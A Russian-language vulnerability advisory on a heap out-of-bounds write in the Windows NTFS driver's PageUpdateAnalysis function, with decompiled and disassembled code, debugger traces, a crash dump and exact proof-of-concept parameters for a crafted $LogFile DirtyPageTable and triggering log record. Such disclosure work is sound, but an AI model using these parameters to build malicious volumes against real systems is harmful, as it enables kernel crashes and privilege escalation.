Краткое описание

В функции ntfs!PageUpdateAnalysis драйвера NTFS в Microsoft Windows существует уязвимость типа переполнения буфера в куче. Специально сформированный том NTFS может привести к записи за пределами выделенной области памяти ядра NonPagedPoolNx во время восстановления журнала.

Злоумышленник может воспользоваться уязвимостью, заставив уязвимую систему Windows смонтировать том, содержащий вредоносные записи $LogFile. Возникающее в результате повреждение памяти ядра может привести к отказу в обслуживании, повышению привилегий или выполнению произвольного кода в ядре.

Ссылка на продукт

Microsoft Windows — https://www.microsoft.com/windows

CWE

CWE-787: Out-of-bounds Write

Детали

NTFS — основная файловая система, используемая Microsoft Windows. Ее журнал метаданных $LogFile содержит записи, которые используются для восстановления согласованного состояния файловой системы после прерванных операций.

ntfs!AnalysisPass реализует фазу анализа при восстановлении NTFS после перезапуска, которая предшествует фазам redo и undo. Функция просматривает записи журнала начиная с последней контрольной точки и восстанавливает состояние, необходимое для восстановления, включая таблицы транзакций и измененных страниц (dirty page tables). Эти таблицы отслеживают незавершенные транзакции и страницы метаданных, изменения которых могли не попасть на диск, что позволяет последующим фазам восстановления определить, какие операции необходимо повторить или откатить.

ntfs!PageUpdateAnalysis обрабатывает записи обновления страниц во время этой фазы анализа. Стек вызова при монтировании выглядит следующим образом:

0: kd> k
 # Child-SP          RetAddr               Call Site
00 ffffcd8a`59bc5e08 fffff804`27ae0f6f     Ntfs!PageUpdateAnalysis
01 ffffcd8a`59bc5e10 fffff804`27b45000     Ntfs!AnalysisPass+0x22b
02 ffffcd8a`59bc5f30 fffff804`27acc3be     Ntfs!NtfsRestartVolume+0xbc
03 ffffcd8a`59bc60a0 fffff804`27ac9f86     Ntfs!NtfsMountVolume+0x1816
04 ffffcd8a`59bc67e0 fffff804`2793e639     Ntfs!NtfsCommonFileSystemControl+0xb6
05 ffffcd8a`59bc68c0 fffff804`9478b7ec     Ntfs!NtfsFspDispatch+0x619
06 ffffcd8a`59bc6a10 fffff804`94931afa     nt!ExpWorkerThread+0x5ec
07 ffffcd8a`59bc6bf0 fffff804`94b4ef84     nt!PspSystemThreadStartup+0x5a
08 ffffcd8a`59bc6c40 00000000`00000000     nt!KiStartSystemThread+0x34

NTFS хранит записи измененных страниц в выделенном блоке RESTART_TABLE в ядерном NonPagedPoolNx пуле. Каждая запись содержит массив номеров логических кластеров (LCN), емкость которого определяется размером записи:

DIRTY_PAGE_ENTRY (simplified):
  +0x00  AllocatedMarker   DWORD   (-1 indicates an in-use entry)
  +0x04  TargetAttribute   USHORT
  +0x08  LengthOfTransfer  ULONG
  +0x0C  LcnsToFollow      ULONG
  +0x10  StartingVcn       8-byte virtual cluster number
  +0x18  OldestLsn         8-byte log sequence number
  +0x20  LcnsForPage[]     Array of 8-byte LCN values

Выделение памяти для таблицы RESTART_TABLE выполняется в ntfs!InitializeRestartState, когда DirtyPageTable загружается из образа диска.

В ntfs!PageUpdateAnalysis после того как функция ntfs!FindDirtyPage возвращает существующую запись, происходит копирование значений LCN полученных из записи $LogFile, содержащейся на диске, в запись возвращенную функцией ntfs!FindDirtyPage. Именно здесь происходит запись за пределы памяти выделенной ранее для записей возвращаемых функцией ntfs!FindDirtyPage.

// ntfs!PageUpdateAnalysis
if ( !FindDirtyPage(a4, (unsigned __int16)CurrentLogRecord->TargetAttribute, CurrentLogRecord->TargetVcn, &v20) ) {
    ... // entry not found
}
while ( 1 ) {
    result = (unsigned __int16)CurrentLogRecord->LcnsToFollow;
    if ( v8 >= (unsigned int)result ) // v8 is i
      break;
    v20->LcnsForPage[LODWORD(CurrentLogRecord->TargetVcn) + v8 - LODWORD(v20->Vcn)] = CurrentLogRecord->LcnsForPage[v8];
    ++v8;
}
return result;

В исследованном бинарном файле ntfs.sys вышеуказанному декомпилированному фрагменту соответствует следующий дизассемблированный код:

1c025844c  cmp  esi, eax
1c025844e  jnb  loc_1C025846F
1c0258455  mov  rdx, [rsp+...]       ; DirtyPage entry
1c025845a  sub  ecx, [rdx+10h]       ; subtract StartingVcn, low 32 bits
1c025845d  add  ecx, [r13+18h]       ; add TargetVcn, low 32 bits
1c0258461  mov  rax, [r13+r8*8+20h]  ; LogRecord->LcnsForPage[i]
1c0258466  mov  [rdx+rcx*8+20h], rax ; unchecked destination write
1c025846b  inc  esi
1c025846d  jmp  short loc_1C0258447

Фактический индекс, по которому осуществляется запись, вычисляется с использованием 32-битной арифметики следующим образом:

Index = i + TargetVcn - StartingVcn

ntfs!FindDirtyPage считает запись подходящей при выполнении условия: StartingVcn <= TargetVcn < StartingVcn + LcnsToFollow:

char __fastcall FindDirtyPage(
        My_RESTART_POINTERS *a1,
        int TargetAttribute,
        signed __int64 Vcn,
        My_DIRTY_PAGE_ENTRY **DirtyPage)
{
  My_DIRTY_PAGE_ENTRY *i; // rax
  __int64 v9; // rdx

  if ( !a1->Table )
    return 0;
  for ( i = (My_DIRTY_PAGE_ENTRY *)NtfsGetFirstRestartTable(a1);
        ;
        i = (My_DIRTY_PAGE_ENTRY *)NtfsGetNextRestartTable((__int64)a1, (__int64)i) )
  {
    if ( !i )
    {
      *DirtyPage = 0LL;
      return 0;
    }
    if ( i->TargetAttribute == TargetAttribute )
    {
      v9 = i->Vcn; // v9 is a starting VCN
      if ( Vcn >= v9 && Vcn < v9 + (unsigned int)i->LcnsToFollow )
        break;
    }
  }
  *DirtyPage = i;
  return 1;
}

Таким образом проверяется, что начальный кластер находится внутри записи, однако не проверяется, помещается ли в нее весь входящий диапазон. При TargetVcn = StartingVcn + k, цикл выполняет запись по индексам от k до k + LcnsToFollow - 1. Переполнение массива возникает при условии:

k + LcnsToFollow > ClustersPerPage

Функция ntfs!PageUpdateAnalysis содержит проверку необходимости изменения размера RESTART_TABLE, из которой осуществляется выборка функцией ntfs!FindDirtyPage, но эта проверка выполняется только если LcnsToFollow > ClustersPerPage. При этом смещение k не учитывается. В результате запись, количество LCN в которой не превышает номинальную емкость, все равно может привести к переполнению массива назначения.

// ntfs!PageUpdateAnalysis
...
if ( Table ) {
    ClustersPerPage = (((unsigned __int64)(unsigned __int16)Table->EntrySize - 40) >> 3) + 1;
}
else {
    ClustersPerPage = a2->ClustersPerPage;
    NtfsInitializeRestartTable(8 * ClustersPerPage + 32, 0x20u, a2->RestartVersion >= 2u, 0, a4);
}
LcnsToFollow = (unsigned __int16)CurrentLogRecord->LcnsToFollow;
if ( LcnsToFollow > ClustersPerPage ) {
    ClustersPerPage = (unsigned __int16)CurrentLogRecord->LcnsToFollow;
    NtfsInitializeRestartTable(
      8 * LcnsToFollow + 32,
      (unsigned __int16)a4->Table->NumberEntries,
      a2->RestartVersion >= 2u,
      0,
      &Resource); // resize
    ...
}
...

Ни перед записью в функции ntfs!PageUpdateAnalysis, ни при чтении записей с диска в ntfs!InitializeRestartState отсутствует достаточная валидация данных, более того, ntfs!InitializeRestartState принимает данные записей DirtyPageTable как есть, если MajorVersion файла $LogFile не равен нулю.

// ntfs!InitializeRestartState
...
if ( RestartArea->DirtyPageTableLength )
  {
    restarted = (My_RESTART_TABLE *)ReadRestartTable(
                                      IrpContext,
                                      Vcb,
                                      RestartArea->DirtyPageTableLsn,
                                      &Leb,
                                      &RestartAreaLength);
    ExAcquireResourceExclusiveLite(&DirtyPageTable->Resource, 1u);
    v80 = 1;
    Table = DirtyPageTable->Table;
    if ( RestartArea->MajorVersion ) // MajorVersion check
    {
      ExFreePoolWithTag(DirtyPageTable->Table, 0);
      DirtyPageTable->Table = 0;
      v26 = RestartAreaLength;
      v27 = (My_RESTART_TABLE *)ExAllocatePoolWithTag((POOL_TYPE)528, RestartAreaLength, 'RFtN');
      DirtyPageTable->Table = v27;
      memmove(v27, restarted, v26); // data from image has been accepted here
      DirtyPageTable->Table->field_A = DirtyPageTable->Table->NumberAllocated;
      ExAcquireResourceExclusiveLite(&DirtyPageTable->Resource, 1u);
      v80 = 1;
      LODWORD(restarted) = 0;
    }
    else
    {
      ...
    }
    ...
}

Proof of Concept

При монтировании специально сформированного тома NTFS выполняет следующие операции:

1. ntfs!InitializeRestartState считывает сериализованную DirtyPageTable из $LogFile.
2. Поскольку RESTART_AREA имеет ненулевое значение MajorVersion, вся таблица копируется в новый выделенный буфер NonPagedPoolNx.
3. ntfs!AnalysisPass начинает сканирование с подготовленной контрольной точки.
4. Следующей обрабатывается специально сформированная запись UpdateResidentValue.
5. Входящее значение LcnsToFollow равно 8, то есть совпадает с ClustersPerPage, поэтому ветвь изменения размера таблицы не выполняется.
6. ntfs!PageUpdateAnalysis вызывает ntfs!FindDirtyPage с TargetAttribute = 0x18 и TargetVcn = 7.
7. ntfs!FindDirtyPage выбирает слот 31, поскольку его диапазон равен [0, 8) и, следовательно, содержит VCN 7.
8. Уязвимая операция копирования записывает восемь переданных значений LCN, начиная с индекса назначения 7.

В созданной для PoC RESTART_AREA используется MajorVersion = 2. В результате Ntfs!InitializeRestartState выделяет буфер для DirtyPageTable и копирует таблицу непосредственно из образа, не перестраивая ее записи.

PoC создает RESTART_TABLE со следующими параметрами:

EntrySize       = 0x60
NumberEntries   = 32
NumberAllocated = 32

Каждая запись содержит восемь слотов LCN:

EntrySize = 0x20 + 8 * sizeof(LCN)
          = 0x20 + 8 * 8
          = 0x60

Все 32 записи помечены как занятые, поэтому ntfs!PageUpdateAnalysis не может выбрать или создать свободный слот. Записи с нулевой по 30-ю используют отдельные диапазоны VCN, которые не совпадают с диапазоном инициирующей записью. Последняя запись, слот 31, настроена следующим образом:

AllocatedMarker  = 0xffffffff
TargetAttribute  = 0x18
LengthOfTransfer = 0x1000
StartingVcn      = 0
LcnsToFollow     = 8
LcnsForPage      = {1, 2, 3, 4, 5, 6, 7, 8}

Поскольку слот 31 является последней записью, данные, записываемые за пределами его массива LCN, одновременно выходят за пределы всего выделенного блока RESTART_TABLE.

sizeof(RESTART_TABLE) + NumberEntries * EntrySize
= 0x18 + 32 * 0x60
= 0xc18 (3096 bytes)

В приведенном ниже фрагменте показано, как DirtyPageTable инициализируется во время выполнения, а также часть данных, соответствующих описанной выше структуре.

0: kd> p
rax=0000000000000001 rbx=ffffe180efdf0200 rcx=ffffe180efdefaa8
rdx=0000000000000000 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95792 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=ffff8f8d385def01  r9=ffff8f8d385deae0 r10=0000000000000000
r11=ffffe180efdefb68 r12=ffffe180efdefe00 r13=0000000000000000
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!InitializeRestartState+0x51e:
fffff806`28a95792 4539542438      cmp     dword ptr [r12+38h],r10d ds:002b:ffffe180`efdefe38=00000c18
...
1: kd> p
rax=0000000000000000 rbx=0000000000000c18 rcx=0000000000000210
rdx=0000000000000c18 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a95942 rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=000000005246744e  r9=0000000000000000 r10=0000000000000000
r11=0000000000000001 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!InitializeRestartState+0x6ce:
fffff806`28a95942 48ff158f0ae7ff  call    qword ptr [Ntfs!_imp_ExAllocatePoolWithTag (fffff806`289063d8)] 
...
1: kd> p
rax=ffff8f8d385d03e0 rbx=0000000000000c18 rcx=ffff8f8d385d03e0
rdx=ffffcd0fd11c0158 rsi=ffff8f8d3514b7c8 rdi=ffffe180efdeff90
rip=fffff80628a9595e rsp=ffffe180efdefb70 rbp=ffffe180efdf08f0
 r8=0000000000000c18  r9=0000000000000080 r10=0000000000000000
r11=ffffe180efdefae0 r12=ffffe180efdefe00 r13=ffffcd0fd11c0158
r14=0000000000000001 r15=ffff8f8d357c81b0
iopl=0         nv up ei ng nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040286
Ntfs!InitializeRestartState+0x6ea:
fffff806`28a9595e e8ddf1e1ff      call    Ntfs!memcpy (fffff806`288b4b40)
1: kd> db ffffcd0fd11c0158
ffffcd0f`d11c0158  60 00 20 00 20 00 00 00-00 00 00 00 00 00 00 00  `. . ...........
ffffcd0f`d11c0168  00 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00  ................
ffffcd0f`d11c0178  00 10 00 00 08 00 00 00-00 10 00 00 00 00 00 00  ................
ffffcd0f`d11c0188  2b 94 a8 00 00 00 00 00-01 00 00 00 00 00 00 00  +...............
ffffcd0f`d11c0198  02 00 00 00 00 00 00 00-03 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01a8  04 00 00 00 00 00 00 00-05 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01b8  06 00 00 00 00 00 00 00-07 00 00 00 00 00 00 00  ................
ffffcd0f`d11c01c8  08 00 00 00 00 00 00 00-ff ff ff ff 18 00 00 00  ................

Запись приводящая к детонации уязвимости, использует redo-операцию UpdateResidentValue, которая передается на обработку в ntfs!PageUpdateAnalysis. Значение некоторых важных полей вы можете видеть ниже:

RedoOperation   = 0x07
UndoOperation   = 0x02
TargetAttribute = 0x18
TargetVcn       = 7
LcnsToFollow    = 8
ClientDataLength = 0x60

В отладчике видно, как операция обрабатывается в ntfs!PageUpdateAnalysis:

1: kd> p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000000
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f1c rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=ffffffffffffff01  r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!AnalysisPass+0x1d8:
fffff806`28a30f1c 410fb70f        movzx   ecx,word ptr [r15] ds:002b:ffffcd0f`d11ca188=0007
1: kd> p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=0000000000000007
rdx=ffff8f8d356279e8 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f20 rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=ffffffffffffff01  r9=ffff8f8d35625000 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!AnalysisPass+0x1dc:
fffff806`28a30f20 83f912          cmp     ecx,12h
... // some optimized switch-case related code is here 
0: kd> p
rax=ffff8f8d356279e8 rbx=0000000000a8942b rcx=ffff8f8d3514b7c8
rdx=ffff8f8d357c81b0 rsi=ffff8f8d357c85d8 rdi=00000000000000e0
rip=fffff80628a30f6a rsp=ffffe180efdefe10 rbp=ffffe180efdf08f0
 r8=0000000000a8942b  r9=ffffe180efdeff90 r10=0000000000000001
r11=ffff8f8d356279b8 r12=ffffe180efdeff90 r13=ffff8f8d357c81b0
r14=ffff8f8d3514b7c8 r15=ffffcd0fd11ca188
iopl=0         nv up ei pl zr na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040246
Ntfs!AnalysisPass+0x226:
fffff806`28a30f6a e8f1080000      call    Ntfs!PageUpdateAnalysis (fffff806`28a31860)

Индексы назначения вычисляются следующим образом:

Index = i + TargetVcn - StartingVcn = i + 7 - 0 = i + 7

Для i = 0..7 получаются следующие индексы:

7, 8, 9, 10, 11, 12, 13, 14

Индекс 7 является последним допустимым элементом. Индексы с 8 по 14 находятся за пределами записи.

Поскольку выбранная запись находится в слоте 31, эти семь значений LCN записываются на 56 байт за пределами всей таблицы DirtyPageTable размером 3096 байт.

1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000001 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3198f rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x12f:
fffff806`28a3198f 8bd6            mov     edx,esi
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000008
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31991 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x131:
fffff806`28a31991 8bce            mov     ecx,esi
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31993 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei ng nz ac pe cy
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040297
Ntfs!PageUpdateAnalysis+0x133:
fffff806`28a31993 412b4a10        sub     ecx,dword ptr [r10+10h] ds:002b:ffff8f8d`385d0fa8=00000000 // StartingVCN
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000002
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a31997 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040202
Ntfs!PageUpdateAnalysis+0x137: // actually it is i (index) + TargetVCN
fffff806`28a31997 41034d18        add     ecx,dword ptr [r13+18h] ds:002b:ffffcd0f`d11ca1a0=00000007 // TargetVCN
1: kd> p
rax=0000000000000008 rbx=0000000000a8942b rcx=0000000000000009
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a3199b rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
Ntfs!PageUpdateAnalysis+0x13b:    // read data that comes from image
fffff806`28a3199b 498b44d520      mov     rax,qword ptr [r13+rdx*8+20h] ds:002b:ffffcd0f`d11ca1b8=4141414100000002
1: kd> p
rax=4141414100000002 rbx=0000000000a8942b rcx=0000000000000009 // rcx is i (index)
rdx=0000000000000002 rsi=0000000000000002 rdi=0000000000000008
rip=fffff80628a319a0 rsp=ffffe180efdefc90 rbp=ffffe180efdf08f0
 r8=00000000385d03e0  r9=00000000385d03e0 r10=ffff8f8d385d0f98
r11=0000000000000007 r12=0000000000000018 r13=ffffcd0fd11ca188
r14=ffff8f8d385d03e0 r15=ffffe180efdeff90
iopl=0         nv up ei pl nz na pe nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00040206
Ntfs!PageUpdateAnalysis+0x140:
fffff806`28a319a0 498944ca20      mov     qword ptr [r10+rcx*8+20h],rax ds:002b:ffff8f8d`385d1000=????????????????

Монтирование сгенерированного VHD, в системе с уязвимой версией ntfs.sys, приводит к повреждению памяти происходящему в результате записи за пределами буфера в функции Ntfs!PageUpdateAnalysis:

1: kd> !analyze -v -force
*******************************************************************************
*                                                                             *
*                        Bugcheck Analysis                                    *
*                                                                             *
*******************************************************************************

PAGE_FAULT_IN_NONPAGED_AREA (50)
Invalid system memory was referenced.  This cannot be protected by try-except.
Typically the address is just plain bad or it is pointing at freed memory.
Arguments:
Arg1: ffff8f8d385d1000, memory referenced.
Arg2: 0000000000000002, X64: bit 0 set if the fault was due to a not-present PTE.
    bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the processor decided the fault was due to a corrupted PTE.
    bit 4 is set if the fault was due to attempted execute of a no-execute PTE.
    - ARM64: bit 1 is set if the fault was due to a write, clear if a read.
    bit 3 is set if the fault was due to attempted execute of a no-execute PTE.
Arg3: fffff80628a319a0, If non-zero, the instruction address which referenced the bad memory
    address.
Arg4: 0000000000000002, (reserved)

Debugging Details:
------------------


KEY_VALUES_STRING: 1

    Key  : AV.PTE
    Value: Invalid

    Key  : AV.Page.Virtual
    Value: 0xffff8f8d385d0000

    Key  : AV.Type
    Value: Write

    Key  : Analysis.CPU.mSec
    Value: 4500

    Key  : Analysis.Elapsed.mSec
    Value: 9710

    Key  : Analysis.IO.Other.Mb
    Value: 14

    Key  : Analysis.IO.Read.Mb
    Value: 15

    Key  : Analysis.IO.Write.Mb
    Value: 201

    Key  : Analysis.Init.CPU.mSec
    Value: 97484

    Key  : Analysis.Init.Elapsed.mSec
    Value: 11291658

    Key  : Analysis.Memory.CommitPeak.Mb
    Value: 265

    Key  : Analysis.Version.DbgEng
    Value: 10.0.29617.1000

    Key  : Analysis.Version.Description
    Value: 10.2604.29.1 amd64fre

    Key  : Analysis.Version.Ext
    Value: 1.2604.29.1

    Key  : Bugcheck.Code.KiBugCheckData
    Value: 0x50

    Key  : Bugcheck.Code.LegacyAPI
    Value: 0x50

    Key  : Bugcheck.Code.TargetModel
    Value: 0x50

    Key  : Failure.Bucket
    Value: AV_VRF_Ntfs!PageUpdateAnalysis

    Key  : Failure.Exception.IP.Address
    Value: 0xfffff80628a319a0

    Key  : Failure.Exception.IP.Module
    Value: Ntfs

    Key  : Failure.Exception.IP.Offset
    Value: 0x1d19a0

    Key  : Failure.Hash
    Value: {9d54520b-212c-9f3b-ad4b-052c7a9e7f7e}

    Key  : Faulting.IP.Type
    Value: Paged

    Key  : Hypervisor.Enlightenments.Value
    Value: 1113060

    Key  : Hypervisor.Enlightenments.ValueHex
    Value: 0x10fbe4

    Key  : Hypervisor.Flags.AnyHypervisorPresent
    Value: 1

    Key  : Hypervisor.Flags.ApicEnlightened
    Value: 0

    Key  : Hypervisor.Flags.ApicVirtualizationAvailable
    Value: 0

    Key  : Hypervisor.Flags.AsyncMemoryHint
    Value: 0

    Key  : Hypervisor.Flags.CoreSchedulerRequested
    Value: 0

    Key  : Hypervisor.Flags.CpuManager
    Value: 0

    Key  : Hypervisor.Flags.DeprecateAutoEoi
    Value: 1

    Key  : Hypervisor.Flags.DynamicCpuDisabled
    Value: 1

    Key  : Hypervisor.Flags.Epf
    Value: 0

    Key  : Hypervisor.Flags.ExtendedProcessorMasks
    Value: 1

    Key  : Hypervisor.Flags.HardwareMbecAvailable
    Value: 0

    Key  : Hypervisor.Flags.MaxBankNumber
    Value: 0

    Key  : Hypervisor.Flags.MemoryZeroingControl
    Value: 0

    Key  : Hypervisor.Flags.NoExtendedRangeFlush
    Value: 0

    Key  : Hypervisor.Flags.NoNonArchCoreSharing
    Value: 0

    Key  : Hypervisor.Flags.Phase0InitDone
    Value: 1

    Key  : Hypervisor.Flags.PowerSchedulerQos
    Value: 0

    Key  : Hypervisor.Flags.RootScheduler
    Value: 0

    Key  : Hypervisor.Flags.SynicAvailable
    Value: 1

    Key  : Hypervisor.Flags.UseQpcBias
    Value: 0

    Key  : Hypervisor.Flags.Value
    Value: 528572

    Key  : Hypervisor.Flags.ValueHex
    Value: 0x810bc

    Key  : Hypervisor.Flags.VpAssistPage
    Value: 1

    Key  : Hypervisor.Flags.VsmAvailable
    Value: 0

    Key  : Hypervisor.RootFlags.AccessStats
    Value: 0

    Key  : Hypervisor.RootFlags.CrashdumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.CreateVirtualProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.DisableHyperthreading
    Value: 0

    Key  : Hypervisor.RootFlags.HostTimelineSync
    Value: 0

    Key  : Hypervisor.RootFlags.HypervisorDebuggingEnabled
    Value: 0

    Key  : Hypervisor.RootFlags.IsHyperV
    Value: 0

    Key  : Hypervisor.RootFlags.LivedumpEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.MapDeviceInterrupt
    Value: 0

    Key  : Hypervisor.RootFlags.MceEnlightened
    Value: 0

    Key  : Hypervisor.RootFlags.Nested
    Value: 0

    Key  : Hypervisor.RootFlags.StartLogicalProcessor
    Value: 0

    Key  : Hypervisor.RootFlags.Value
    Value: 0

    Key  : Hypervisor.RootFlags.ValueHex
    Value: 0x0

    Key  : SecureKernel.HalpHvciEnabled
    Value: 0

    Key  : WER.OS.Branch
    Value: ge_release

    Key  : WER.OS.Version
    Value: 10.0.26100.1


BUGCHECK_CODE:  50

BUGCHECK_P1: ffff8f8d385d1000

BUGCHECK_P2: 2

BUGCHECK_P3: fffff80628a319a0

BUGCHECK_P4: 2

FAULTING_THREAD:  ffff8f8d2e595040

EXCEPTION_PARAMETER1:  0000000000000001

EXCEPTION_PARAMETER2:  ffff8f8d385d1000

WRITE_ADDRESS:  ffff8f8d385d1000 Special pool

MM_INTERNAL_CODE:  2

PROCESS_NAME:  System

IP_IN_PAGED_CODE: 
Ntfs!PageUpdateAnalysis+140
fffff806`28a319a0 498944ca20      mov     qword ptr [r10+rcx*8+20h],rax

STACK_TEXT:  
ffffe180`efdef068 fffff806`959ace42     : ffffe180`efdef0e8 00000000`00000001 00000000`00000080 fffff806`95ab7901 : nt!DbgBreakPointWithStatus
ffffe180`efdef070 fffff806`959ac36c     : 00000000`00000003 ffffe180`efdef1d0 fffff806`95ab7b00 ffffe180`efdef790 : nt!KiBugCheckDebugBreak+0x12
ffffe180`efdef0d0 fffff806`958f6537     : 00000000`00000000 fffff806`957d1cb6 ffff8f8d`385d1000 00000000`00000000 : nt!KeBugCheck2+0xb2c
ffffe180`efdef860 fffff806`957d194c     : 00000000`00000050 ffff8f8d`385d1000 00000000`00000002 ffffe180`efdefb00 : nt!KeBugCheckEx+0x107
ffffe180`efdef8a0 fffff806`95640510     : 00000000`00000000 ffff8000`00000000 ffff8f8d`385d1000 0000007f`fffffff8 : nt!MiSystemFault+0x7a0
ffffe180`efdef990 fffff806`95aacfcb     : 00000000`00000000 00000000`00000000 00000000`00000008 00000000`00000000 : nt!MmAccessFault+0x630
ffffe180`efdefb00 fffff806`28a319a0     : ffffe180`efdeff90 00000000`00000001 ffff8f8d`356279b8 00000000`00000001 : nt!KiPageFault+0x38b
ffffe180`efdefc90 fffff806`28a30f6f     : 00000000`00a8942b ffffe180`efdf08f0 ffff8f8d`357c85d8 00000000`000000e0 : Ntfs!PageUpdateAnalysis+0x140
ffffe180`efdefe10 fffff806`28a95000     : ffff8f8d`3514b7c8 ffff8f8d`357c81b0 00000000`00000000 ffffe180`efdeff90 : Ntfs!AnalysisPass+0x22b
ffffe180`efdeff30 fffff806`28a1c3be     : ffff8f8d`3514b988 00000000`00000001 ffff8f8d`3514b7c8 ffff8f8d`3514b988 : Ntfs!NtfsRestartVolume+0xbc
ffffe180`efdf00a0 fffff806`28a19f86     : 00000000`00000000 00000000`00000000 00000000`00000000 ffff8f8d`2e5950b8 : Ntfs!NtfsMountVolume+0x1816
ffffe180`efdf07e0 fffff806`2888e639     : ffff8f8d`3514b7c8 ffffe180`efdf08f0 00000000`00000008 ffff8f8d`2e595040 : Ntfs!NtfsCommonFileSystemControl+0xb6
ffffe180`efdf08c0 fffff806`956db7ec     : ffff8f8d`2e595040 ffff8f8d`2e595040 ffff8f8d`2a757ae0 fffff806`2888e020 : Ntfs!NtfsFspDispatch+0x619
ffffe180`efdf0a10 fffff806`95881afa     : ffff8f8d`2e595040 ffff8f8d`2e595040 fffff806`956db200 ffff8f8d`2a757ae0 : nt!ExpWorkerThread+0x5ec
ffffe180`efdf0bf0 fffff806`95a9ef84     : fffff806`2625e180 ffff8f8d`2e595040 fffff806`95881aa0 00000000`00000000 : nt!PspSystemThreadStartup+0x5a
ffffe180`efdf0c40 00000000`00000000     : ffffe180`efdf1000 ffffe180`efdeb000 00000000`00000000 00000000`00000000 : nt!KiStartSystemThread+0x34


SYMBOL_NAME:  Ntfs!PageUpdateAnalysis+140

MODULE_NAME: Ntfs

IMAGE_NAME:  Ntfs.sys

IMAGE_VERSION:  10.0.26100.6899

STACK_COMMAND: .process /r /p 0xffff8f8d2a691040; .thread /r /p 0xffff8f8d2e595040 ; kb

BUCKET_ID_FUNC_OFFSET:  140

FAILURE_BUCKET_ID:  AV_VRF_Ntfs!PageUpdateAnalysis

OS_VERSION:  10.0.26100.1

BUILDLAB_STR:  ge_release

